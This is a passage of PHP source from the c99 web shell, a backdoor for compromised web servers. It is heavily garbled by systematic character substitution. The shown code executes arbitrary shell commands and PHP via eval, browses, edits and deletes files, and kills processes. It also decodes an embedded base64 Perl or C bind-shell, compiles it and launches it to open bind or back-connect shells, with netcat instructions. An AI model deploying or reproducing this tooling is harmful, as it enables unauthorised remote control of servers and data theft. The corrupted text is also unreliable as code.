i !"empty!)psterr'' (echo &<1:4asting 3ith errorsL</1:<1r:&.)psterr,.
)act + &ls&,
.
elsei !)actarc1#'
(
)arcerr + &&,
i !s#1str!)actarc1#$path*-R*R' ++ &.tar.gW&' ()e%t + &.tar.gW&,.
else ()e%t + &.tar.gW&,.
i !)e%t ++ &.tar.gW&' ()cmdline + &tar cWv&,.
)cmdline .+ & &.)actarc1#$path,
)o1Vects + array$merge!)sess$data=&copy&>*)sess$data=&c#t&>',
oreach!)o1Vects as )v'
(
)v + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)v',
i !s#1str!)v*0*strlen!)d'' ++ )d' ()v + 1asename!)v',.
i !is$dir!)v''
(
i !s#1str!)v*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()v .+ JF?@DC6?K$S@4A?AC6?,.
)v .+ &*&,
.
)cmdline .+ & &.)v,
.
)tmp + realpath!&.&',
chdir!)d',
)ret + myshelle%ec!)cmdline',
chdir!)tmp',
i !empty!)ret'' ()arcerr .+ &DanOt call archivator
!&.htmlspecialchars!strGmini!)cmdline*N0''.&'"<1r:&,.
)ret + str$replace!&MrMn&*&Mn&*)ret',
)ret + e%plode!&Mn&*)ret',
i !)copy$#nset' (oreach!)sess$data=&copy&> as )9+:)v'
(#nset!)sess$data=&copy&>=)9>',..
oreach!)sess$data=&c#t&> as )9+:)v'
(
i !in$array!)v*)ret'' (s$rmo1V!)v',.
#nset!)sess$data=&c#t&>=)9>',
.
c99$sess$p#t!)sess$data',
i !"empty!)arcerr'' (echo &<1:Archivation errorsL</1:<1r:&.)arcerr,.
)act + &ls&,
.
elsei !)actpaste1#'
(
)psterr + &&,
oreach!)sess$data=&copy&> as )9+:)v'
(
)to + )d.1asename!)v',
i !"s$copy$o1V!)v*)d'' ()psterr .+ &DanOt copy &.)v.& to &.)to.&"<1r:&,.
i !)copy$#nset' (#nset!)sess$data=&copy&>=)9>',.
.
oreach!)sess$data=&c#t&> as )9+:)v'
(
)to + )d.1asename!)v',
i !"s$move$o1V!)v*)d'' ()psterr .+ &DanOt move &.)v.& to &.)to.&"<1r:&,.
#nset!)sess$data=&c#t&>=)9>',
.
c99$sess$p#t!)sess$data',
i !"empty!)psterr'' (echo &<1:4asting 3ith errorsL</1:<1r:&.)psterr,.
)act + &ls&,
.
.
i !)act ++ &cmd&'
(
i !trim!)cmd' ++ &ps -a#%&' ()act + &ps$a#%&,.
else
(
0chdir!)chdir',
i !"empty!)s#1mit''
(
echo &<1:?es#lt o e%ec#tion this command</1:L<1r:&,
)olddir + realpath!&.&',
0chdir!)d',
)ret + myshelle%ec!)cmd',
)ret + convert$cyr$string!)ret*&d&*&3&',
i !)cmd$t%t'
(
)ro3s + co#nt!e%plode!&MrMn&*)ret''-1,
i !)ro3s < 10' ()ro3s + 10,.
echo &<1r:<te%tarea cols+M&1GGM& ro3s+M&&.)ro3s.&M&
readonly:&.htmlspecialchars!)ret'.&</te%tarea:&,
.
else (echo )ret.&<1r:&,.
0chdir!)olddir',
.
else (echo &<1:@%ec#tion command</1:&, i !empty!)cmd$t%t'' ()cmd$t%t + tr#e,..
echo &<orm action+M&&.)s#rl.&act+cmdM& method+M&46SCM&:<te%tarea name+M&cmdM&
cols+M&1GGM& ro3s+M&10M&:&.htmlspecialchars!)cmd'.&</te%tarea:<inp#t
type+M&hiddenM& name+M&dM& val#e+M&&.)dispd.&M&:<1r:<1r:<inp#t type+M&s#1mitM&
name+M&s#1mitM& val#e+M&@%ec#teM&:8n1sp,Jisplay in te%t-area8n1sp,<inp#t
type+M&chec91o%M& name+M&cmd$t%tM& val#e+M&1M&&, i !)cmd$t%t' (echo & chec9ed&,.
echo &:</orm:&,
.
.
i !)act ++ &ls&'
(
i !co#nt!)ls$arr' : 0' ()list + )ls$arr,.
else
(
)list + array!',
i !)h + 0opendir!)d''
(
3hile !!)o + readdir!)h'' "++ alse' ()list=> + )d.)o,.
closedir!)h',
.
.
i !co#nt!)list' ++ 0' (echo &<center:<1:DanOt open directory
!&.htmlspecialchars!)d'.&'"</1:</center:&,.
else
(
//<#ilding array
)o1Vects + array!',
)vd + &&, //Xie3ing mode
i !)vd ++ &&'
(
)o1Vects=&head&> + array!',
)o1Vects=&dirs&> + array!',
)o1Vects=&lin9s&> + array!',
)o1Vects=&iles&> + array!',
oreach !)list as )v'
(
)o + 1asename!)v',
)ro3 + array!',
i !)o ++ &.&' ()ro3=> + )d.)o, )ro3=> + &LFHE&,.
elsei !)o ++ &..&' ()ro3=> + )d.)o, )ro3=> + &LFHE&,.
elsei !is$dir!)v''
(
i !is$lin9!)v'' ()type + &LFHE&,.
else ()type + &JF?&,.
)ro3=> + )v,
)ro3=> + )type,
.
elsei!is$ile!)v'' ()ro3=> + )v, )ro3=> + ilesiWe!)v',.
)ro3=> + ilemtime!)v',
i !")3in'
(
)o3 + 0posi%$getp3#id!ileo3ner!)v'',
)gr + 0posi%$getgrgid!ilegro#p!)v'',
)ro3=> + )o3=&name&>.&/&.)gr=&name&>,
)ro3=> + ileo3ner!)v'.&/&.ilegro#p!)v',
.
)ro3=> + ileperms!)v',
i !!)o ++ &.&' or !)o ++ &..&'' ()o1Vects=&head&>=> + )ro3,.
elsei !is$lin9!)v'' ()o1Vects=&lin9s&>=> + )ro3,.
elsei !is$dir!)v'' ()o1Vects=&dirs&>=> + )ro3,.
elsei !is$ile!)v'' ()o1Vects=&iles&>=> + )ro3,.
.
)ro3 + array!',
)ro3=> + &<1:Hame</1:&,
)ro3=> + &<1:SiWe</1:&,
)ro3=> + &<1:Modiy</1:&,
i !")3in'
()ro3=> + &<1:63ner/;ro#p</1:&,.
)ro3=> + &<1:4erms</1:&,
)ro3=> + &<1:Action</1:&,
)9 + )sort=0>,
i !"is$n#meric!)9'' ()9 + )sort=0> + 0,.
i !)sort=1> "+ &a&' ()sort=1> + &d&,.
)y + &<a hre+M&&.)s#rl.&act+&.)dspact.&8d+&.#rlencode!)d'.&8sort+&.)9.
!)sort=1> ++ &a&?&d&L&a&'.&M&:&,
)y .+ &<img src+M&&.)s#rl.&act+img8img+sort$&.!)sort=1> ++
&a&?&asc&L&desc&'.&M& height+M&9M& 3idth+M&1UM& alt+M&&.!)sort=1> ++
&a&?&Asc.&L&Jesc&'.&M& 1order+M&0M&:</a:&,
)ro3=)9> .+ )y,
or!)i+0,)i<co#nt!)ro3'-1,)i--'
(
i !)i "+ )9' ()ro3=)i> + &<a hre+M&&.)s#rl.&act+&.
)dspact.&8d+&.#rlencode!)d'.&8sort+&.)i.)sort=1>.&M&:&.)ro3=)i>.&</a:&,.
.
)v + )sort=0>,
#sort!)o1Vects=&dirs&>* &ta1sort&',
#sort!)o1Vects=&lin9s&>* &ta1sort&',
#sort!)o1Vects=&iles&>* &ta1sort&',
i !)sort=1> ++ &d&'
(
)o1Vects=&dirs&> + array$reverse!)o1Vects=dirs>',
)o1Vects=&iles&> + array$reverse!)o1Vects=iles>',
.
)o1Vects + array$merge!)o1Vects=&head&>*)o1Vects=&dirs&>*)o1Vects=&lin9s&>*
)o1Vects=&iles&>',
)ta1 + array!',
)ta1=&cols&> + array!)ro3',
)ta1=&head&> + array!',
)ta1=&dirs&> + array!',
)ta1=&lin9s&> + array!',
)ta1=&iles&> + array!',
oreach !)o1Vects as )a'
(
)v + )a=0>,
)o + 1asename!)v',
)dir + dirname!)v',
i !)disp$#llpath' ()disppath + )v,.
else ()disppath + )o,.
)disppath + strGmini!)disppath*N0',
i !in$array!)v*)sess$data=&c#t&>'' ()disppath + &<stri9e:&.
)disppath.&</stri9e:&,.
elsei !in$array!)v*)sess$data=&copy&>'' ()disppath + &<#:&.)disppath.&</#:&,.
oreach !)reg%p$highlight as )r'
(
i !ereg!)r=0>*)o''
(
i !!"is$n#meric!)r=1>'' or !)r=1> : 7'' ()r=1> + 0, o1$clean!', echo
&Parning" Donig#ration error in M)reg%p$highlight=&.)9.&>=0> - #n9no3n command&,
e%it,.
else
(
)r=1> + ro#nd!)r=1>',
)isdir + is$dir!)v',
i !!)r=1> ++ 0' or !!)r=1> ++ 1' and ")isdir' or !!)r=1> ++ G' and "
)isdir''
(
i !empty!)r=G>'' ()r=G> + &<1:&, )r=7> + &</1:&,.
)disppath + )r=G>.)disppath.)r=7>,
i !)r=U>' (1rea9,.
.
.
.
.
)#o + #rlencode!)o',
)#d + #rlencode!)dir',
)#v + #rlencode!)v',
)ro3 + array!',
i !)o ++ &.&'
(
)ro3=> + &<img src+M&&.)s#rl.&act+img8img+small$dirM& height+M&1NM&
3idth+M&19M& 1order+M&0M&:8n1sp,<a hre+M&&.)s#rl.&act+&.
)dspact.&8d+&.#rlencode!realpath!)d.)o''.&M&:&.)o.&</a:&,
)ro3=> + &LFHE&,
.
elsei !)o ++ &..&'
(
)ro3=> + &<img src+M&&.)s#rl.&act+img8img+e%t$ln9M& height+M&1NM&
3idth+M&19M& 1order+M&0M&:8n1sp,<a hre+M&&.)s#rl.&act+&.
)dspact.&8d+&.#rlencode!realpath!)d.)o''.&8sort+&.)sort.&M&:&.)o.&</a:&,
)ro3=> + &LFHE&,
.
elsei !is$dir!)v''
(
i !is$lin9!)v''
(
)disppath .+ & +: &.readlin9!)v',
)type + &LFHE&,
)ro3=> + &<img src+M&&.)s#rl.&act+img8img+e%t$ln9M& height+M&1NM&
3idth+M&1NM& 1order+M&0M&:8n1sp,<a hre+M&&.)s#rl.&act+ls8d+&.)#v.&8sort+&.
)sort.&M&:=&.)disppath.&></a:&,
.
else
(
)type + &JF?&,
)ro3=> + &<img src+M&&.)s#rl.&act+img8img+small$dirM& height+M&1NM&
3idth+M&19M& 1order+M&0M&:8n1sp,<a hre+M&&.)s#rl.&act+ls8d+&.)#v.&8sort+&.
)sort.&M&:=&.)disppath.&></a:&,
.
)ro3=> + )type,
.
elsei!is$ile!)v''
(
)e%t + e%plode!&.&*)o',
)c + co#nt!)e%t'-1,
)e%t + )e%t=)c>,
)e%t + strtolo3er!)e%t',
)ro3=> + &<img src+M&&.)s#rl.&act+img8img+e%t$&.)e%t.&M&
1order+M&0M&:8n1sp,<a hre+M&&.)s#rl.&act+8+&.)#o.&8d+&.)#d.&8M&:&.
)disppath.&</a:&,
)ro3=> + vie3$siWe!)a=1>',
.
)ro3=> + date!&d.m.K 5LiLs&*)a=G>',
i !")3in' ()ro3=> + )a=7>,.
)ro3=> + &<a hre+M&&.)s#rl.&act+chmod8+&.)#o.&8d+&.
)#d.&M&:<1:&.vie3$perms$color!)v'.&</1:</a:&,
i !is$dir!)v'' ()ro3=> + &<a hre+M&&.)s#rl.&act+d8d+&.)#v.&M&:<img src+M&&.
)s#rl.&act+img8img+e%t$diWM& alt+M&FnoM& height+M&1NM& 3idth+M&1NM&
1order+M&0M&:</a:8n1sp,<inp#t type+M&chec91o%M& name+M&act1o%=>M&
val#e+M&&.htmlspecialchars!)v'.&M&:&,.
else ()ro3=> + &<a hre+M&&.)s#rl.&act+8+&.)#o.&8t+ino8d+&.)#d.&M&:<img
src+M&&.)s#rl.&act+img8img+e%t$diWM& alt+M&FnoM& height+M&1NM& 3idth+M&1NM&
1order+M&0M&:</a:8n1sp,<a hre+M&&.)s#rl.&act+8+&.)#o.&8t+edit8d+&.)#d.&M&:<img
src+M&&.)s#rl.&act+img8img+changeM& alt+M&DhangeM& height+M&1NM& 3idth+M&19M&
1order+M&0M&:</a:8n1sp,<a hre+M&&.)s#rl.&act+8+&.)#o.&8t+do3nload8d+&.
)#d.&M&:<img src+M&&.)s#rl.&act+img8img+do3nloadM& alt+M&Jo3nloadM& height+M&1NM&
3idth+M&19M& 1order+M&0M&:</a:8n1sp,<inp#t type+M&chec91o%M& id+M&ls$dir=>M&
name+M&act1o%=>M& val#e+M&&.htmlspecialchars!)v'.&M&:&,.
i !!)o ++ &.&' or !)o ++ &..&'' ()ta1=head>=> + )ro3,.
elsei !is$lin9!)v'' ()ta1=&lin9s&>=> + )ro3,.
elsei !is$dir!)v'' ()ta1=&dirs&>=> + )ro3,.
elsei !is$ile!)v'' ()ta1=&iles&>=> + )ro3,.
.
.
//Dompiling ta1le
)ta1le + array$merge!)ta1=&cols&>*)ta1=&head&>*)ta1=&dirs&>*)ta1=&lin9s&>*
)ta1=&iles&>',
echo &<center:<1:Listing directory !&.co#nt!)ta1=&iles&>'.& iles and &.
!co#nt!)ta1=&dirs&>'-co#nt!)ta1=&lin9s&>''.& directories'L</1:</center:<1r:<CA<L@
cellSpacing+0 cell4adding+0 3idth+100T 1gDolor+Z777777 1orderDolorLight+Z777777
1order+0:<orm method+M&46SCM&:&,
oreach!)ta1le as )ro3'
(
echo &<tr:MrMn&,
oreach!)ro3 as )v' (echo &<td:&.)v.&</td:MrMn&,.
echo &</tr:MrMn&,
.
echo &</ta1le:<hr siWe+M&1M& noshade:<p align+M&rightM&:<1:<img src+M&&.
)s#rl.&act+img8img+arro3$ltrM& 1order+M&0M&:&,
i !co#nt!array$merge!)sess$data=&copy&>*)sess$data=&c#t&>'' : 0 and
!)#ses1#''
(
echo &<inp#t type+M&s#1mitM& name+M&actarc1#M& val#e+M&4ac9 1#er to
archiveM&:8n1sp,<inp#t type+M&te%tM& name+M&actarc1#$pathM&
val#e+M&archive$&.s#1str!md/!rand!1*1000'.rand!1*1000''*0*/'.&.tar.gWM&:8n1sp,8n1s
p,8n1sp,8n1sp,8n1sp,8n1sp,<inp#t type+M&s#1mitM& name+M&actpaste1#M&
val#e+M&4asteM&:8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,<inp#t type+M&s#1mitM&
name+M&actempty1#M& val#e+M&@mpty
1#erM&:8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,&,
.
echo &<select name+M&actM&:<option val#e+M&&.)act.&M&:Pith selectedL</option:&,
echo &<option val#e+M&deleteM&&.gchds!)dspact*&delete&*&
selected&'.&:Jelete</option:&,
echo &<option val#e+M&chmodM&&.gchds!)dspact*&chmod&*& selected&'.&:Dhange-
mode</option:&,
i !)#ses1#'
(
echo &<option val#e+M&c#tM&&.gchds!)dspact*&c#t&*& selected&'.&:D#t</option:&,
echo &<option val#e+M&copyM&&.gchds!)dspact*&copy&*&
selected&'.&:Dopy</option:&,
echo &<option val#e+M&#nselectM&&.gchds!)dspact*&#nselect&*&
selected&'.&:Bnselect</option:&,
.
echo &</select:8n1sp,<inp#t type+M&s#1mitM& val#e+M&DonirmM&:</p:&,
echo &</orm:&,
.
.
i !)act ++ &1ind&'
(
)1ndsrcs + array!
&c99sh$1indport.pl&+:
&Fy@vdSHyLG^p1i93_S^sJApp_iAoA@IS?1Kg4DA%ES<R_ShpdDg%ECt9JAo9c;9ydDA9FD?<B9dP&.
&PW<d630E_ShpdD<p_i<m17^r630E^JAg4SAidS<9KS?l_;FiFDUgFiAiF5g%MJARJAo9B0l5e0HF&.
&C@?9FJ0g^0l5C99S?ScRJAp1cGBgBG9VaGX0630EcG9VaGX0EIMsFI<;S0l6?XAsFIH4A0tB1?S&.
&?BIHLDA3ECsHDnHld5HvKGtvc5AoBy3gB09MS1H4A0tIXD3gB09B9XXB0X<?@?SLDA%ECsHDm^p&.
&1mAoBy3gcG9VaGI9_5^aPUo^5<vcnAsF@l6AB?@Bl9<Cl9pECsHDm%pc7?l1ihCLDA1MD9RJAph&.
&KGHlc5AoPD%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ldDh<?l9^C9XBLD<CC0HLS1HBB9X<CS3gSX<AB99BC19BA1ApFJsg&.
&JAogaPKgEDhV1G/#_PH0E;_9LDAoc7?ydPH0F5HvKGth_;?yFDopFD_WaPUsF5HpemXv_ihWd5^1&.
&K7AgcG9VaGI9_5FpES9QMD9ge30EFDAgc;Xycm9yED^1LX0gKG9#1mXVdDgpFi9RJAogFD<le;l0&.
&EJAp630EF50HDi<Wd5^VKSAocm1WLD<hcmdGPW<dECsHDi<WeSH0_P0ocm1WECsgFA0EF;?1cJFo&.
&_mAsFJAp630EF;?1cJFo_mAsFJ@p630EF;?1cJFo_mAsFJFp630EF;XU_PHsEDFvKml#L7HoFi3i&.
&cGggLP9iLD<6XB%MECsHDi<V1;9W_Shm_D9RFA0EA++&
',
)1ndportsrcs + array!
&c99sh$1indport.pl&+:array!&Bsing 4@?L&*&perl Tpath Tport&'*
&c99sh$1indport.c&+:array!&Bsing D&*&Tpath Tport Tpass&'
',
)1csrcs + array!
&c99sh$1ac9conn.pl&+:array!&Bsing 4@?L&*&perl Tpath Thost Tport&'*
&c99sh$1ac9conn.c&+:array!&Bsing D&*&Tpath Thost Tport&'
',
i !)3in' (echo &<1:<inding port and <ac9 connectL</1:<1r:Chis #nctions not 3or9
in Pindo3s"<1r:<1r:&,.
else
(
i !"is$array!)1ind'' ()1ind + array!',.
i !"is$array!)1c'' ()1c + array!',.
i !"is$n#meric!)1ind=&port&>'' ()1ind=&port&> + )1indport$port,.
i !empty!)1ind=&pass&>'' ()1ind=&pass&> + )1indport$pass,.
i !empty!)1c=&host&>'' ()1c=&host&> + )?@M6C@$AJJ?,.
i !"is$n#meric!)1c=&port&>'' ()1c=&port&> + )1indport$port,.
i !"empty!)1inds#1mit''
(
echo &<1:?es#lt o 1inding portL</1:<1r:&,
)v + )1ndportsrcs=)1ind=&src&>>,
i !empty!)v'' (echo &Bn9no3n ile"<1r:&,.
elsei !soc9open!)S@?X@?$AJJ?*)1ind=&port&>*)errno*)errstr*0.1'' (echo &4ort
alredy in #se* select any other"<1r:&,.
else
(
)srcpath + )tmpdir.)1ind=&src&>,
)3 + e%plode!&.&*)1ind=&src&>',
)e%t + )3=co#nt!)3'-1>,
#nset!)3=co#nt!)3'-1>',
)1inpath + )tmpdir.Voin!&.&*)3',
i !)e%t ++ &pl&' ()1inpath + )srcpath,.
0#nlin9!)srcpath',
)p + open!)srcpath*&a1-&',
i !")p' (echo &DanOt 3rite so#rces to M&&.)srcpath.&M&"<1r:&,.
else
(
)data + 1aseNU$decode!)1ndsrcs=)1ind=&src&>>',
3rite!)p*)data*strlen!)data'',
close!)p',
i !)e%t ++ &c&' ()retgcc + myshelle%ec!&gcc -o &.)1inpath.& &.)srcpath',
0#nlin9!)srcpath',.
)v=1> + str$replace!&Tpath&*)1inpath*)v=1>',
)v=1> + str$replace!&Tport&*)1ind=&port&>*)v=1>',
)v=1> + str$replace!&Tpass&*)1ind=&pass&>*)v=1>',
)v=1> + str$replace!&//&*&/&*)v=1>',
)ret1ind + myshelle%ec!)v=1>.& : /dev/n#ll 8&',
sleep!/',
)soc9 + soc9open!&localhost&*)1ind=&port&>*)errno*)errstr*/',
i !")soc9' (echo &F canOt connect to localhostL&.)1ind=&port&>.&" F thin9
yo# sho#ld conig#re yo#r ire3all.&,.
else (echo &<inding... o9" Donnect to <1:&.)S@?X@?$AJJ?.&L&.
)1ind=&port&>.&</1:" Ko# sho#ld #se HetDat8copy,* r#n M&<1:nc -v &.)S@?X@?$AJJ?.&
&.)1ind=&port&>.&</1:M&"<center:<a hre+M&&.
)s#rl.&act+ps$a#%8grep+&.1asename!)1inpath'.&M&:<#:Xie3 1inderOs
process</#:</a:</center:&,.
.
echo &<1r:&,
.
.
i !"empty!)1cs#1mit''
(
echo &<1:?es#lt o 1ac9 connectionL</1:<1r:&,
)v + )1csrcs=)1c=&src&>>,
i !empty!)v'' (echo &Bn9no3n ile"<1r:&,.
else
(
)srcpath + )tmpdir.)1c=&src&>,
)3 + e%plode!&.&*)1c=&src&>',
)e%t + )3=co#nt!)3'-1>,
#nset!)3=co#nt!)3'-1>',
)1inpath + )tmpdir.Voin!&.&*)3',
i !)e%t ++ &pl&' ()1inpath + )srcpath,.
0#nlin9!)srcpath',
)p + open!)srcpath*&a1-&',
i !")p' (echo &DanOt 3rite so#rces to M&&.)srcpath.&M&"<1r:&,.
else
(
)data + 1aseNU$decode!)1ndsrcs=)1ind=src>>',
3rite!)p*)data*strlen!)data'',
close!)p',
i !)e%t ++ &c&' ()retgcc + myshelle%ec!&gcc -o &.)1inpath.& &.)srcpath',
0#nlin9!)srcpath',.
)v=1> + str$replace!&Tpath&*)1inpath*)v=1>',
)v=1> + str$replace!&Thost&*)1c=&host&>*)v=1>',
)v=1> + str$replace!&Tport&*)1c=&port&>*)v=1>',
)v=1> + str$replace!&//&*&/&*)v=1>',
)ret1ind + myshelle%ec!)v=1>.& : /dev/n#ll 8&',
echo &Ho3 script try connect to &.)1c=&host&>.&L&.)1c=&port&>.&...<1r:&,
.
.
.
?:<1:<inding portL</1:<1r:<orm method+&46SC&:<inp#t type+&hidden& name+&act&
val#e+&1ind&:<inp#t type+&hidden& name+&d& val#e+&<?php echo )d, ?:&:4ortL <inp#t
type+&te%t& name+&1ind=port>& val#e+&<?php echo htmlspecialchars!)1ind=&port&>', ?
:&:8n1sp,4ass3ordL <inp#t type+&te%t& name+&1ind=pass>& val#e+&<?php echo
htmlspecialchars!)1ind=&pass&>', ?:&:8n1sp,<select name+&1ind=src>&:<?php
oreach!)1ndportsrcs as )9+:)v' (echo &<option val#e+M&&.)9.&M&&, i !)9 ++
)1ind=&src&>' (echo & selected&,. echo &:&.)v=0>.&</option:&,.
?:</select:8n1sp,<inp#t type+&s#1mit& name+&1inds#1mit& val#e+&<ind&:</orm:
<1:<ac9 connectionL</1:<1r:<orm method+&46SC&:<inp#t type+&hidden& name+&act&
val#e+&1ind&:<inp#t type+&hidden& name+&d& val#e+&<?php echo )d, ?:&:56SCL <inp#t
type+&te%t& name+&1c=host>& val#e+&<?php echo htmlspecialchars!)1c=&host&>', ?
:&:8n1sp,4ortL <inp#t type+&te%t& name+&1c=port>& val#e+&<?php echo
htmlspecialchars!)1c=&port&>', ?:&:8n1sp,<select name+&1c=src>&:<?php
oreach!)1csrcs as )9+:)v' (echo &<option val#e+M&&.)9.&M&&, i !)9 ++ )1c=&src&>'
(echo & selected&,. echo &:&.)v=0>.&</option:&,.
?:</select:8n1sp,<inp#t type+&s#1mit& name+&1cs#1mit& val#e+&Donnect&:</orm:
Dlic9 &Donnect& only ater open port or it. Ko# sho#ld #se HetDat8copy,* r#n
&<1:nc -l -n -v -p 8lt,port8gt,</1:&"<?php
.
.
i !)act ++ &ps$a#%&'
(
echo &<1:4rocessesL</1:<1r:&,
i !)3in' (echo &Chis #nction not 3or9 in Pindo3s"<1r:<1r:&,.
else
(
i !)pid'
(
i !")sig' ()sig + 9,.
echo &Sending signal &.)sig.& to Z&.)pid.&... &,
)ret + posi%$9ill!)pid*)sig',
i !)ret' (echo &o9. he is dead* amen.&,.
else (echo &@??6?.&,.
.
)ret + myshelle%ec!&ps -a#%&',
i !")ret' (echo &DanOt e%ec#te M&ps -a#%M&"&,.
else
(
)ret + htmlspecialchars!)ret',
3hile !ereg!& &*)ret'' ()ret + str$replace!& &*& &*)ret',.
)stac9 + e%plode!&Mn&*)ret',
)head + e%plode!& &*)stac9=0>',
#nset!)stac9=0>',
i !empty!)ps$a#%$sort'' ()ps$a#%$sort + )sort$dea#lt,.
i !"is$n#meric!)ps$a#%$sort=0>'' ()ps$a#%$sort=0> + 0,.
)9 + )ps$a#%$sort=0>,
i !)ps$a#%$sort=1> "+ &a&' ()y + &<a hre+M&&.)s#rl.&act+&.
)dspact.&8d+&.#rlencode!)d'.&8ps$a#%$sort+&.)9.&aM&:<img src+M&&.
)s#rl.&act+img8img+sort$descM& height+M&9M& 3idth+M&1UM& 1order+M&0M&:</a:&,.
else ()y + &<a hre+M&&.)s#rl.&act+&.
)dspact.&8d+&.#rlencode!)d'.&8ps$a#%$sort+&.)9.&dM&:<img src+M&&.
)s#rl.&act+img8img+sort$ascM& height+M&9M& 3idth+M&1UM& 1order+M&0M&:</a:&,.
or!)i+0,)i<co#nt!)head',)i--'
(
i !)i "+ )9' ()head=)i> + &<a hre+M&&.)s#rl.&act+&.
)dspact.&8d+&.#rlencode!)d'.&8ps$a#%$sort+&.)i.)ps$a#%$sort=1>.&M&:<1:&.
)head=)i>.&</1:</a:&,.
.
)prcs + array!',
oreach !)stac9 as )line'
(
i !"empty!)line''
(
echo &<tr:&,
)line + e%plode!& &*)line',
)line=10> + Voin!& &*array$slice!)line*10*co#nt!)line''',
)line + array$slice!)line*0*11',
i !)line=0> ++ get$c#rrent$#ser!'' ()line=0> + &<ont color+M&greenM&:&.
)line=0>.&</ont:&,.
)line=> + &<a hre+M&&.)s#rl.&act+ps$a#%8d+&.#rlencode!)d'.&8pid+&.
)line=1>.&8sig+9M&:<#:EFLL</#:</a:&,
)prcs=> + )line,
echo &</tr:&,
.
.
)head=)9> + &<1:&.)head=)9>.&</1:&.)y,
)head=> + &<1:ADCF6H</1:&,
)v + )ps$a#%$sort=0>,
#sort!)prcs*&ta1sort&',
i !)ps$a#%$sort=1> ++ &d&' ()prcs + array$reverse!)prcs',.
)ta1 + array!',
)ta1=> + )head,
)ta1 + array$merge!)ta1*)prcs',
echo &<CA<L@ height+1 cellSpacing+0 1orderDolorJar9+ZNNNNNN cell4adding+/
3idth+M&100TM& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0 1order+1
1ordercolor+M&ZD0D0D0M&:&,
oreach!)ta1 as )9'
(
echo &<tr:&,
oreach!)9 as )v' (echo &<td:&.)v.&</td:&,.
echo &</tr:&,
.
echo &</ta1le:&,
.
.
.
i !)act ++ &eval&'
(
i !"empty!)eval''
(
echo &<1:?es#lt o e%ec#tion this 454-code</1:L<1r:&,
)tmp + o1$get$contents!',
)olddir + realpath!&.&',
0chdir!)d',
i !)tmp'
(
o1$clean!',
eval!)eval',
)ret + o1$get$contents!',
)ret + convert$cyr$string!)ret*&d&*&3&',
o1$clean!',
echo )tmp,
i !)eval$t%t'
(
)ro3s + co#nt!e%plode!&MrMn&*)ret''-1,
i !)ro3s < 10' ()ro3s + 10,.
echo &<1r:<te%tarea cols+M&1GGM& ro3s+M&&.)ro3s.&M&
readonly:&.htmlspecialchars!)ret'.&</te%tarea:&,
.
else (echo )ret.&<1r:&,.
.
else
(
i !)eval$t%t'
(
echo &<1r:<te%tarea cols+M&1GGM& ro3s+M&1/M& readonly:&,
eval!)eval',
echo &</te%tarea:&,
.
else (echo )ret,.
.
0chdir!)olddir',
.
else (echo &<1:@%ec#tion 454-code</1:&, i !empty!)eval$t%t'' ()eval$t%t +
tr#e,..
echo &<orm method+M&46SCM&:<te%tarea name+M&evalM& cols+M&1GGM&
ro3s+M&10M&:&.htmlspecialchars!)eval'.&</te%tarea:<inp#t type+M&hiddenM&
name+M&dM& val#e+M&&.)dispd.&M&:<1r:<1r:<inp#t type+M&s#1mitM&
val#e+M&@%ec#teM&:8n1sp,Jisplay in te%t-area8n1sp,<inp#t type+M&chec91o%M&
name+M&eval$t%tM& val#e+M&1M&&, i !)eval$t%t' (echo & chec9ed&,. echo &:</orm:&,
.
i !)act ++ &&'
(
i !!"is$reada1le!)d.)' or is$dir!)d.)'' and )t "+ &edit&'
(
i !ile$e%ists!)d.)'' (echo &<center:<1:4ermision denied
!&.htmlspecialchars!)d.)'.&'"</1:</center:&,.
else (echo &<center:<1:Iile does not e%ists !&.htmlspecialchars!)d.)'.&'"
</1:<1r:<a hre+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+edit8d+&.#rlencode!)d'.&8c+1M&:<#:Dreate</#:</
a:</center:&,.
.
else
(
)r + 0ile$get$contents!)d.)',
)e%t + e%plode!&.&*)',
)c + co#nt!)e%t'-1,
)e%t + )e%t=)c>,
)e%t + strtolo3er!)e%t',
)rt + &&,
oreach!)types as )9+:)v' (i !in$array!)e%t*)v'' ()rt + )9, 1rea9,..
i !eregi!&sess$!.*'&*)'' ()rt + &phpsess&,.
i !empty!)t'' ()t + )rt,.
)arr + array!
array!&<img src+M&&.)s#rl.&act+img8img+e%t$diWM& 1order+M&0M&:&*&ino&'*
array!&<img src+M&&.)s#rl.&act+img8img+e%t$htmlM& 1order+M&0M&:&*&html&'*
array!&<img src+M&&.)s#rl.&act+img8img+e%t$t%tM& 1order+M&0M&:&*&t%t&'*
array!&Dode&*&code&'*
array!&Session&*&phpsess&'*
array!&<img src+M&&.)s#rl.&act+img8img+e%t$e%eM& 1order+M&0M&:&*&e%e&'*
array!&SJ<&*&sd1&'*
array!&<img src+M&&.)s#rl.&act+img8img+e%t$giM& 1order+M&0M&:&*&img&'*
array!&<img src+M&&.)s#rl.&act+img8img+e%t$iniM& 1order+M&0M&:&*&ini&'*
array!&<img src+M&&.)s#rl.&act+img8img+do3nloadM& 1order+M&0M&:&*&do3nload&'*
array!&<img src+M&&.)s#rl.&act+img8img+e%t$rtM& 1order+M&0M&:&*&notepad&'*
array!&<img src+M&&.)s#rl.&act+img8img+changeM& 1order+M&0M&:&*&edit&'
',
echo &<1:Xie3ing ileL8n1sp,8n1sp,8n1sp,8n1sp,<img src+M&&.
)s#rl.&act+img8img+e%t$&.)e%t.&M& 1order+M&0M&:8n1sp,&.).&
!&.vie3$siWe!ilesiWe!)d.)''.&'
8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,&.vie3$perms$color!)d.)'.&</1:<1r:Select
action/ile-typeL<1r:&,
oreach!)arr as )t'
(
i !)t=1> ++ )rt' (echo & <a hre+M&&.)s#rl.&act+8+&.#rlencode!)'.&8t+&.
)t=1>.&8d+&.#rlencode!)d'.&M&:<ont color+M&greenM&:&.)t=0>.&</ont:</a:&,.
elsei !)t=1> ++ )t' (echo & <a hre+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+&.)t=1>.&8d+&.#rlencode!)d'.&M&:<1:<#:&.
)t=0>.&</#:</1:</a:&,.
else (echo & <a hre+M&&.)s#rl.&act+8+&.#rlencode!)'.&8t+&.
)t=1>.&8d+&.#rlencode!)d'.&M&:<1:&.)t=0>.&</1:</a:&,.
echo & !<a hre+M&&.)s#rl.&act+8+&.#rlencode!)'.&8t+&.
